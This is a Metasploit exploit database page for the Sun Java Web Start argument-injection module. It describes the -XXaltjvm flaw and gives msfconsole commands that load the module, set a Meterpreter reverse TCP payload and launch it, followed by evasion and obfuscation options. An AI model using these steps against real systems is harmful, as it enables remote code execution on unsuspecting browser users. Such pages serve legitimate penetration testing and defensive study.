Sun Java Web Start Plugin Command Line Argument Injection | Metasploit Exploit Database (DB)

Sun Java Web Start Plugin Command Line Argument Injection

This module exploits a flaw in the Web Start plugin component of Sun Java Web Start. The arguments passed to Java Web Start are not properly validated. By passing the lesser known -J option, an attacker can pass arbitrary options directly to the Java runtime. By utilizing the -XXaltjvm option, as discussed by Ruben Santamarta, an attacker can execute arbitrary code in the context of an unsuspecting browser user. This vulnerability was originally discovered independently by both Ruben Santamarta and Tavis Ormandy. Tavis reported that all versions since version 6 Update 10 "are believed to be affected by this vulnerability." In order for this module to work, it must be ran as root on a server that does not serve SMB. Additionally, the target host must have the WebClient service (WebDAV Mini-Redirector) enabled.

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Exploit Rank

  • Excellent

Exploit Authors

  • jduck < jduck [at] metasploit.com >

Vulnerability References


Exploit Targets

  • 0 - Automatic (default)
  • 1 - Java Runtime on Windows x86

Exploit Development


Similar Exploit Modules


Exploit Usage Information

$ msfconsole

                ##                          ###           ##    ##
 ##  ##  #### ###### ####  #####   #####    ##    ####        ######
####### ##  ##  ##  ##         ## ##  ##    ##   ##  ##   ###   ##
####### ######  ##  #####   ####  ##  ##    ##   ##  ##   ##    ##
## # ##     ##  ##  ##  ## ##      #####    ##   ##  ##   ##    ##
##   ##  #### ###   #####   #####     ##   ####   ####   #### ###
                                      ##

msf > use exploit/windows/browser/java_ws_arginject_altjvm
msf exploit(java_ws_arginject_altjvm) > show payloads
msf exploit(java_ws_arginject_altjvm) > set PAYLOAD windows/meterpreter/reverse_tcp
msf exploit(java_ws_arginject_altjvm) > set LHOST [MY IP ADDRESS]
msf exploit(java_ws_arginject_altjvm) > exploit


Exploit Module Options

SRVHOST The local host to listen on. This must be an address on the local machine or 0.0.0.0 (default: 0.0.0.0)
SRVPORT The daemon port to listen on (default: 80)
SSL Negotiate SSL for incoming connections
SSLCert Path to a custom SSL certificate (default is randomly generated)
SSLVersion Specify the version of SSL that should be used (accepted: SSL2, SSL3, TLS1) (default: SSL3)
UNCPATH Override the UNC path to use.
URIPATH The URI to use. (default: /)
ContextInformationFile The information file that contains context information
DisablePayloadHandler Disable the handler code for the selected payload
EXE::Custom Use custom exe instead of automatically generating a payload exe
EXE::FallBack Use the default template in case the specified one is missing
EXE::Inject Set to preserve the original EXE function
EXE::OldMethod Set to use the substitution EXE generation method.
EXE::Path The directory in which to look for the executable template
EXE::Template The executable template file name.
EnableContextEncoding Use transient context when encoding payloads
ListenerComm The specific communication channel to use for this service
VERBOSE Enable detailed status messages
WORKSPACE Specify the workspace for this module
HTML::base64 Enable HTML obfuscation via an embeded base64 html object (IE not supported) (accepted: none, plain, single_pad, double_pad, random_space_injection)
HTML::javascript::escape Enable HTML obfuscation via HTML escaping (number of iterations)
HTML::unicode Enable HTTP obfuscation via unicode (accepted: none, utf-16le, utf-16be, utf-16be-marker, utf-32le, utf-32be)
HTTP::chunked Enable chunking of HTTP responses via "Transfer-Encoding: chunked"
HTTP::compression Enable compression of HTTP responses via content encoding (accepted: none, gzip, deflate)
HTTP::header_folding Enable folding of HTTP headers
HTTP::junk_headers Enable insertion of random junk HTTP headers
HTTP::server_name Configures the Server header of all outgoing replies
TCP::max_send_size Maximum tcp segment size. (0 = disable)
TCP::send_delay Delays inserted before every send. (0 = disable)